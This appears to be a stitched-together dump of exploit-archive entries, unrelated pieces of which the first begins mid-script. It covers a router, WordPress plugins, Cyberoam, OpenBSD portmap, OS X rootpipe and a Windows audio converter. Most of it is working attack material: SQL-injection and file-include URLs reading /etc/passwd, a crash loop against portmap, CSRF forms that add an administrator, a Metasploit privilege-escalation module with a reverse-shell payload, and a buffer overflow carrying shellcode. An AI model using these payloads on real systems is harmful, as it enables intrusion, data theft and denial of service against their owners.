      	WriteProcessMemory(-1,0x1,inBufMem,inlen,byref(c_int(0)))

DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,inlen,outbuf,outlen)
      	CloseHandle(handle)
      	return False

     if __name__=="__main__":
     	main()


The contents of this advisory are copyright(c) 2015
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt
            
# Title: Edimax BR6228nS/BR6228nC - Multiple vulnerabilities
# Date: 01.09.15
# Vendor: edimax.com
# Firmware version: 1.22
# Author: Smash_
# Contact: smash [at] devilteam.pl

Few vulnerabilities found in Edimax BR6228nS/BR6228nC router firmware.


1/ Cross Site Scripting

Request:
POST /goform/formWizSetup HTTP/1.1
Host: 192.168.0.10:8080
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.10:8080/main.asp
Cookie: language=0
Authorization: Basic YWRtaW46MTIzNA==
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

setPage=x");alert("X&wizEnabled=1

Response:
HTTP/1.0 200 OK
Server: GoAhead-Webs

<html>
<body class="background" onLoad=document.location.replace("x");alert("X")></html>



2/ HTTP Response Splitting

Request:
POST /goform/formReflashClientTbl HTTP/1.1
Host: 192.168.0.10:8080
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.10:8080/stadhcptbl.asp
Cookie: language=0
Authorization: Basic YWRtaW46MTIzNA==
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

submit-url=%2Fstadhcptbl.asp%0d%0aXXX%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('X')</script>

Response:
HTTP/1.0 302 Redirect
Server: GoAhead-Webs
Date: Fri Nov 16 18:08:51 2012
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Location: http://192.168.0.10:8080/stadhcptbl.asp
XXX
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert('X')</script>



3/ Cross Site Request Forgery

Examples:

<html>
  <!-- Reboot -->
  <body>
    <form action="http://192.168.0.10:8080/goform/formReboot" method="POST">
      <input type="hidden" name="reset&#95;flag" value="0" />
      <input type="hidden" name="submit&#45;url" value="&#47;tools&#46;asp" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>

  -

<html>
  <!-- Enable remote access -->
  <body>
    <form action="http://192.168.0.10:8080/goform/formReManagementSetup" method="POST">
      <input type="hidden" name="reManHostAddr" value="0&#46;0&#46;0&#46;0" />
      <input type="hidden" name="reManPort" value="8080" />
      <input type="hidden" name="reMangEnable" value="ON" />
      <input type="hidden" name="submit&#45;url" value="&#47;system&#46;asp" />
      <input type="hidden" name="" value="" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>

 -
 
<html>
  <!-- XSS -->
  <body>
    <form action="http://192.168.0.10:8080/goform/formWizSetup" method="POST">
      <input type="hidden" name="setPage" value="x"&#41;&#59;alert&#40;"X" />
      <input type="hidden" name="wizEnabled" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



4/ Unprotected files

Following url's can be requested without http authorisation in order to obtain detail informations about router:

http://192.168.0.10:8080/FUNCTION_SCRIPT
http://192.168.0.10:8080/main.asp

Example:

devil@hell:~$ curl -ig http://192.168.0.10:8080/
HTTP/1.1 401 Unauthorized
Server: GoAhead-Webs
Date: Fri Nov 16 18:28:39 2012
WWW-Authenticate: Basic realm="Default: admin/1234"
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html

devil@hell:~$ curl -ig http://192.168.0.10:8080/FUNCTION_SCRIPT
HTTP/1.0 200 OK
Date: Fri Nov 16 18:28:47 2012
Server: GoAhead-Webs
Last-modified: Fri Nov 16 09:57:30 2012
Content-length: 997
Content-type: text/html

_DATE_="2012.11.16-17:51:47"
_VERSION_="1.22"
_MODEL_="BR6228GNS"
_MODE_="EdimaxOBM"
_PLATFORM_="RTL8196C_1200"
_HW_LED_WPS_="4"
_HW_LED_POWER_="6"
_HW_LED_WIRELESS_="2"
_HW_LED_USB_="17"
_HW_BUTTON_RESET_="5"
(...)
            
source: https://www.securityfocus.com/bid/56664/info

The Magazine Basic theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/wp-content/themes/magazine-basic/view_artist.php?id=[SQL] 
            
source: https://www.securityfocus.com/bid/56665/info

Twitter for iPhone is prone to a security vulnerability that lets attackers to perform a man-in-the-middle attack.

Attackers can exploit this issue to capture and modify pictures that the user sees in the application.

Twitter for iPhone 5.0 is vulnerable; other versions may also be affected. 

/*
  Twitter App, eavesdroping PoC

  Written by Carlos Reventlov <carlos@reventlov.com>
  License MIT
*/

package main

import (
  "fmt"
  "github.com/xiam/hyperfox/proxy"
  "github.com/xiam/hyperfox/tools/logger"
  "io"
  "log"
  "os"
  "path"
  "strconv"
  "strings"
)

const imageFile = "spoof.jpg"

func init() {
  _, err := os.Stat(imageFile)
  if err != nil {
    panic(err.Error())
  }
}

func replaceAvatar(pr *proxy.ProxyRequest) error {
  stat, _ := os.Stat(imageFile)
  image, _ := os.Open(imageFile)

  host := pr.Response.Request.Host

  if strings.HasSuffix(host, "twimg.com") == true {

    if pr.Response.ContentLength != 0 {

      file := "saved" + proxy.PS + pr.FileName

      var ext string

      contentType := pr.Response.Header.Get("Content-Type")

      switch contentType {
      case "image/jpeg":
        ext = ".jpg"
      case "image/gif":
        ext = ".gif"
      case "image/png":
        ext = ".png"
      case "image/tiff":
        ext = ".tiff"
      }

      if ext != "" {
        fmt.Printf("** Saving image.\n")

        os.MkdirAll(path.Dir(file), os.ModeDir|os.FileMode(0755))

        fp, _ := os.Create(file)

        if fp == nil {
          fmt.Errorf(fmt.Sprintf("Could not open file %s for writing.", file))
        }

        io.Copy(fp, pr.Response.Body)

        fp.Close()

        pr.Response.Body.Close()
      }

    }

    fmt.Printf("** Sending bogus image.\n")

    pr.Response.ContentLength = stat.Size()
    pr.Response.Header.Set("Content-Type", "image/jpeg")
    pr.Response.Header.Set("Content-Length",
strconv.Itoa(int(pr.Response.ContentLength)))
    pr.Response.Body = image
  }

  return nil
}

func main() {

  p := proxy.New()

  p.AddDirector(logger.Client(os.Stdout))

  p.AddInterceptor(replaceAvatar)

  p.AddLogger(logger.Server(os.Stdout))

  var err error

  err = p.Start()

  if err != nil {
    log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))
  }
}
            
source: https://www.securityfocus.com/bid/56681/info

The Ads Box plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/ads-box/iframe_ampl.php?count=[SQLi] 
            
source: https://www.securityfocus.com/bid/56683/info

Beat Websites is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Beat Websites 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/page_detail.php?id=1 and 1=1

http://www.example.com/page_detail.php?id=1 and 1=2 
            
// source: https://www.securityfocus.com/bid/56671/info

OpenBSD is prone to a remote denial-of-service vulnerability.

Successful exploits may allow the attacker to cause the application to crash, resulting in denial-of-service conditions.

OpenBSD versions prior to 5.2 are vulnerable. 

/*
 * authors: 22733db72ab3ed94b5f8a1ffcde850251fe6f466
 *          6e2d3d47576f746e9e65cb4d7f3aaa1519971189
 *          c8e74ebd8392fda4788179f9a02bb49337638e7b
 * 
 *  greetz: 43c86fd24bd63b100891ec4b861665e97230d6cf
 *          e4c0f3f28cf322779375b71f1c14d6f8308f789d
 *          691cb088c45ec9e31823ca7ab0da8b4cf8079baf
 *          b234a149e7ef00abc0f2ec7e6cf535ef4872eabc
 *
 *
 * -bash-4.2$ uname -a
 * OpenBSD obsd.my.domain 5.1 GENERIC#160 i386
 * -bash-4.2$ id
 * uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
 * -bash-4.2$ netstat -an -f inet | grep 111
 * tcp          0      0  127.0.0.1.111          *.*                    LISTEN
 * tcp          0      0  *.111                  *.*                    LISTEN
 * udp          0      0  127.0.0.1.111          *.*
 * udp          0      0  *.111                  *.*
 * -bash-4.2$ gcc openbsd_libc_portmap.c
 * -bash-4.2$ ./a.out
 * [+] This code doesn't deserve 1337 status output.
 * [+] Trying to crash portmap on 127.0.0.1:111
 * [+] 127.0.0.1:111 is now down.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define HOST "127.0.0.1"
#define PORT 111
#define LOOP 0x100


int main(void)
{
    int s, i;
    struct sockaddr_in saddr;

    printf("[+] This code doesn't deserve 1337 status output.\n");
    printf("[+] Trying to crash portmap on %s:%d\n", HOST, PORT);

    saddr.sin_family = AF_INET;
    saddr.sin_port = htons(PORT);
    saddr.sin_addr.s_addr = inet_addr(HOST);

    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1) {
        printf("[-] %s:%d is already down.\n", HOST, PORT);
        return EXIT_FAILURE;
    }

    /* # of iteration needed varies but starts working for > 0x30  */
    for(i=0; i < LOOP; ++i) {
        s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in));
        send(s, "8========@", 10, 0);
    }

    if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1)
        printf("[+] %s:%d is now down.\n", HOST, PORT);
    else
        printf("[-] %s:%d is still listening. Try to increase loop iterations...\n");

    return EXIT_SUCCESS;
}
            
source: https://www.securityfocus.com/bid/56687/info

Forescout CounterACT is prone to an open-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

Forescout CounterACT 6.3.4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/assets/login?a=http://www.evil.com 
            
source: https://www.securityfocus.com/bid/56691/info

The Wp-ImageZoom theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/wp-imagezoom/zoom.php?id=[SQL] 
            
# Exploit Title: Cyberoam : Blind SQL Injection
# Date: 31/Aug/2015
# Exploit Author: Dharmendra Kumar Singh
# Contact: dsingh63@outlook.com
# Vendor Homepage: http://www.cyberoam.com
# Software Link: http://www.cyberoam.com/NGFW/
# Version: CR500iNG-XP - 10.6.2 MR-1
# Category: Firewall

1. Description

The username field in the captive portal of Cyberoam NG firewall is vulnerable to SQL Injection and can be exploited to execute sql commands on the database.

The username field is vulnerable to the following types of SQL Injections

a) Boolean-based blind sql injection
b) Stacked queries

2. Proof of Concept

The data send to the server while logging in through the captive portal is like "mode=191&username=cyberuser&password=cyberpass&a=1439886198757&producttype=0"
The query generated in backend server must be something like this
SELECT password FROM table_name WHERE username = 'cyberuser'

a) Boolean-based blind sql injection
If a valid username/password combination is known than boolean-based blind sql injection can be done. If username is set to cyberuser' AND 'x'='x , data send will be "mode=191&username=cyberuser' AND 'x'='x&password=cyberpass&a=1439886198757&producttype=0"
And sql query will become

SELECT password FROM table_name WHERE username = 'cyberuser' AND 'x'='x'
A successfull login message will be received in response in this case. But if username is set to cyberuser' AND 'x'='y than login fail message will be received in response, since x is not equal to y, hence this confirms that username field is vulnerable to boolean-based blind sql injection

b) Stacked queries
if username is set to cyberuser';SELECT PG_SLEEP(5) --  the resultant sql query will become
SELECT password FROM table_name WHERE username = 'cyberuser';SELECT PG_SLEEP(5) -- '
The stacked sql query "SELECT PG_SLEEP(5)" will make the current session’s process sleep until 5 seconds have elapsed. This confirms that Postgresql Server is used and stacked queries can be executed by providing crafted input to username field.

3. Exploit

Since the techniques are blind hence it is recommended to use an automated tool like SQLMap to exploit the vulnerability. The following command can be used to initiate the exploit
sqlmap.py -u "http://example.com:8090/login.xml" --data "mode=191&username=cyberuser&password=cyberpass&a=1439886198757&producttype=0"

4. Solution

The backend server scripts do not sanitize user-supplied data before using it in the SQL query. Hence by properly sanitizing the data received in GET variable "username", the vulnerability can be patched.

5. Conclusion

The Cyberoam NG Firewall devices <= Version: CR500iNG-XP - 10.6.2 MR-1 are vulnerable to blind SQL Injection and this vulnerability can be exploited by an attacker to compromise the application, access or modify data
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Local

  Rank = GreatRanking

  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple OS X Entitlements Rootpipe Privilege Escalation',
      'Description'    => %q{
        This module exploits the rootpipe vulnerability and bypasses Apple's initial
        fix for the issue by injecting code into a process with the 'admin.writeconfig'
        entitlement.
      },
      'Author'         => [
        'Emil Kvarnhammar', # Vulnerability discovery and PoC
        'joev'              # Copy/paste monkey
      ],
      'References'     => [
        ['CVE',   '2015-3673'],
        ['URL',   'https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again/']
      ],
      'DisclosureDate' => 'Jul 1 2015',
      'License'        => MSF_LICENSE,
      'Platform'       => 'osx',
      'Arch'           => ARCH_X86_64,
      'SessionTypes'   => ['shell'],
      'Privileged'     => true,
      'Targets'        => [
        ['Mac OS X 10.9-10.10.3', {}]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'PAYLOAD'         => 'osx/x64/shell_reverse_tcp',
        'PrependSetreuid' => true
      }
    ))

    register_options([
      OptString.new('WRITABLEDIR', [true, 'Writable directory', '/.Trashes'])
    ])
  end

  def check
    if ver? && admin?
      vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_status("Copying Directory Utility.app to #{new_app}")
    cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'")
    cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'")

    print_status("Writing bundle plist to `#{plist_file}'")
    write_file(plist_file, plist)

    print_status("Writing payload to `#{payload_file}'")
    write_file(payload_file, binary_payload)
    register_file_for_cleanup(payload_file)

    print_status("Writing malicious shared library to `#{exploit_file}'")
    write_file(exploit_file, plugin_exploit)

    print_status("Running Directory Utility.app")
    cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\\ Utility'")

    print_status("Deleting Directory Utility.app")
    cmd_exec('rm -Rf "#{new_app}"')

    print_status('Executing payload...')
    cmd_exec("/bin/sh -c '#{root_file} &'")
  end

  def ver?
    Gem::Version.new(get_sysinfo['ProductVersion']).between?(
      Gem::Version.new('10.9'), Gem::Version.new('10.10.3')
    )
  end

  def admin?
    cmd_exec('groups | grep -wq admin && echo true') == 'true'
  end

  def sploit
    "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
  end

  def plugin_exploit
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2015-3673', 'exploit.daplug'
    ))
  end

  def binary_payload
    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
  end

  def exploit_file
    "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle"
  end

  def plist_file
    "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist"
  end

  def new_app
    @app ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}.app"
  end

  def plist
    %Q|
      <?xml version="1.0" encoding="UTF-8"?>
      <plist version="1.0">
      <dict>
        <key>CFBundleGetInfoString</key>
        <string>RootpipeBundle</string>
        <key>CFBundleExecutable</key>
        <string>RootpipeBundle</string>
        <key>CFBundleIdentifier</key>
        <string>com.root.pipe</string>
        <key>CFBundleName</key>
        <string>RootpipeBundle</string>
        <key>CFBundleShortVersionString</key>
        <string>0.01</string>
        <key>CFBundleInfoDictionaryVersion</key>
        <string>6.0</string>
        <key>CFBundlePackageType</key>
        <string>APPL</string>
        <key>IFMajorVersion</key>
        <integer>0</integer>
        <key>IFMinorVersion</key>
        <integer>1</integer>
      </dict>
      </plist>
    |
  end

  def payload_file
    @payload_file ||=
      "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
  end

  def root_file
    @root_file ||=
      "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
  end

end
            
#Exploit Title: Boxoft wav to mp3 converter SEH bypass technique tested on Win7x64   
# Date: 8-31-2015
# Software Link: http://www.boxoft.com/wav-to-mp3/
# Exploit Author: Robbie Corley
# Contact: c0d3rc0rl3y@gmail.com
# Website: 
# Target: Windows 7 Enterprise x64
# CVE: 
# Category: Local Exploit
#
# Description:
# A buffer overflow was found after constructing a .wav payload over 4000 characters and attempting to convert the payload to a .mp3 file

my $buff = "\x41" x 4132;
#my $nseh = "\x42" x 4;
#my $seh = "\x43" x 4;
my $endofbuff   = "\x41" x 5860;


$nseh = "\xeb\x06\x90\x90";  # jump to shellcode
$seh = pack('V',0x0040144c); # pop pop retn

#MessageBox Shellc0de 
#https://www.exploit-db.com/exploits/28996/

my $shellcode =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42".
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03".
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b".
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e".
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c".
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74".
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe".
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";

#$nops = "\x90" x 20; 

open(myfile,'>crash3r.wav');

print myfile $buff.$nseh.$seh.$shellcode.$endofbuff;
close (myfile);
            
source: https://www.securityfocus.com/bid/56580/info

Open-Realty is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized administrative actions and gain access to the affected application. Other attacks are also possible.

Open-Realty 2.5.8 and prior versions are vulnerable; other versions may also be affected. 

<!-- Add Admin User --> 
 <form 
action="http://localhost/orealty/admin/index.php?action=user_manager" 
method="POST">
      <input type="hidden" name="action" value="createNewUser" />
      <input type="hidden" name="edit&#95;user&#95;name" value="user" />
      <input type="hidden" name="edit&#95;user&#95;pass" 
value="pa55w0rd" />
      <input type="hidden" name="edit&#95;user&#95;pass2" 
value="pa55w0rd" />
      <input type="hidden" name="user&#95;first&#95;name" value="hacker" 
/>
      <input type="hidden" name="user&#95;last&#95;name" value="smith" 
/>
      <input type="hidden" name="user&#95;email" 
value="hacker&#64;yehg&#46;net" />
      <input type="hidden" name="edit&#95;active" value="yes" />
      <input type="hidden" name="edit&#95;isAdmin" value="yes" />
      <input type="hidden" name="edit&#95;isAgent" value="yes" />
      <input type="hidden" name="limitListings" value="&#45;1" />
      <input type="hidden" name="edit&#95;limitFeaturedListings" 
value="&#45;1" />
      <input type="hidden" name="edit&#95;userRank" value="0" />
      <input type="hidden" name="edit&#95;canEditAllListings" 
value="yes" />
      <input type="hidden" name="edit&#95;canEditAllUsers" value="yes" 
/>
      <input type="hidden" name="edit&#95;canEditSiteConfig" value="yes" 
/>
      <input type="hidden" name="edit&#95;canEditMemberTemplate" 
value="yes" />
      <input type="hidden" name="edit&#95;canEditAgentTemplate" 
value="yes" />
      <input type="hidden" name="edit&#95;canEditPropertyClasses" 
value="yes" />
      <input type="hidden" name="edit&#95;canEditListingTemplate" 
value="yes" />
      <input type="hidden" name="edit&#95;canViewLogs" value="yes" />
      <input type="hidden" name="edit&#95;canModerate" value="yes" />
      <input type="hidden" name="edit&#95;canFeatureListings" 
value="yes" />
      <input type="hidden" name="edit&#95;canEditListingExpiration" 
value="yes" />
      <input type="hidden" name="edit&#95;canExportListings" value="no" 
/>
      <input type="hidden" name="edit&#95;canPages" value="yes" />
      <input type="hidden" name="edit&#95;canVtour" value="yes" />
      <input type="hidden" name="edit&#95;canFiles" value="yes" />
      <input type="hidden" name="edit&#95;canUserFiles" value="yes" />
      <input type="hidden" name="edit&#95;canManageAddons" value="yes" 
/>
      <script>document.forms[0].submit()</script>
    </form>
            
source: https://www.securityfocus.com/bid/56581/info

Splunk is prone to multiple cross-site scripting vulnerabilities and a denial-of-service vulnerability because it fails to properly handle user-supplied input.

An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

"--splunk-cooked-mode-v3--\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0.\0\0\0\SOH\0\0\0\DC3__s2s_capabilities\0\0\0
\0\STXA\0\0\0\0\0\0\0\0\ENQ_raw\0"
            
source: https://www.securityfocus.com/bid/56608/info

The Madebymilk theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

https://www.example.com/wp-content/plugins/madebymilk/voting-popup.php?id=null' 
            
source: https://www.securityfocus.com/bid/56600/info

ATutor is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

ATutor 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/ATutor-2.1/ATutor/mods/_core/tool_manager/index.php?h=1&tool_file=./../../../../../../../../../../etc/passwd 
            
source: https://www.securityfocus.com/bid/56598/info

openSIS is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the Web server process. This may allow the attacker to compromise the application and computer; other attacks are also possible.

openSIS 5.1 is vulnerable; other versions may also be affected.

http://www.example.com/opensis5.1/opensis/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php 
            
source: https://www.securityfocus.com/bid/56624/info

Dotproject is prone to the following security vulnerabilities:

1. Multiple SQL-injection vulnerabilities

2. Multiple cross-site scripting vulnerabilities

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dotproject versions prior to 2.1.7 are vulnerable. 

http://www.example.com/index.php?m=contacts&search_string=0%27%29%20UNION%20SELECT%20version(),2,3,4,5,6,7,8, 9,10,11%20INTO%20OUTFILE%20%27file.txt%27%20--%202
http://www.example.com/index.php?m=contacts&where=%27%29%20UNION%20SELECT%20version(),2,3,4,5,6,7,8,9,10,11%2 0INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202
http://www.example.com/index.php?m=departments&dept_id=%27%20UNION%20SELECT%20version%28%29%20INTO%20OUTFILE% 20%27/tmp/file.txt%27%20--%202
http://www.example.com/?m=projects&update_project_status=1&project_status=1&project_id[]=%27%20UNION%20SELECT %20version%28%29%20INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202
http://www.example.com/?m=system&a=billingcode&company_id=0%20UNION%20SELECT%201,2,3,4,5,6%20INTO%20OUTFILE%2 0%27/tmp/file.txt%27%20--%202
            
source: https://www.securityfocus.com/bid/56626/info

Feng Office is prone to a security-bypass vulnerability and an HTML-injection vulnerability.

An attacker may leverage the HTML-injection issue to inject hostile HTML and script code that would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. The attacker may leverage the security-bypass issue to bypass certain security restrictions and perform unauthorized actions in the affected application.

Feng Office 2.2.1 and 2.0 Beta 3 are vulnerable; other versions may also be affected. 

# Expl0it/P0c/Xss ###################
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

# Expl0it/P0c/Privilege Escalation ###################
<input type="hidden" value="" name="contact[new_contact_from_mail_div_id]">
<input type="hidden" value="" name="contact[hf_contacts]">
<label for="og_1353469580_283914profileFormFirstName">First name:      
<input type="text" value="poc" name="contact[first_name]" maxlength="50" id="og_1353469580_283914profileFormFirstName">
<label for="og_1353469580_283914profileFormSurName">Last name:      
<input type="text" value="poc2" name="contact[surname]" maxlength="50" id="og_1353469580_283914profileFormSurname">    
<label for="og_1353469580_283914profileFormEmail">Email address:</label>      
<input type="text" value="poctest@live.com" name="contact[email]" style="width:260px;" maxlength="100" id="og_1353469580_283914profileFormEmail">
<div style="" class="user-data">
<label>Password:<input type="password" name="contact[user][password]">
<label>Repeat password:<input type="password" name="contact[user][password_a]" class="field-error">
<select name="contact[user][type]">
<option value="1">Super Administrator</option>
<button tabindex="20000" id="og_1353471270_613002submit2" class="submit" type="submit" accesskey="s">Add Per<u>s</u>on</button>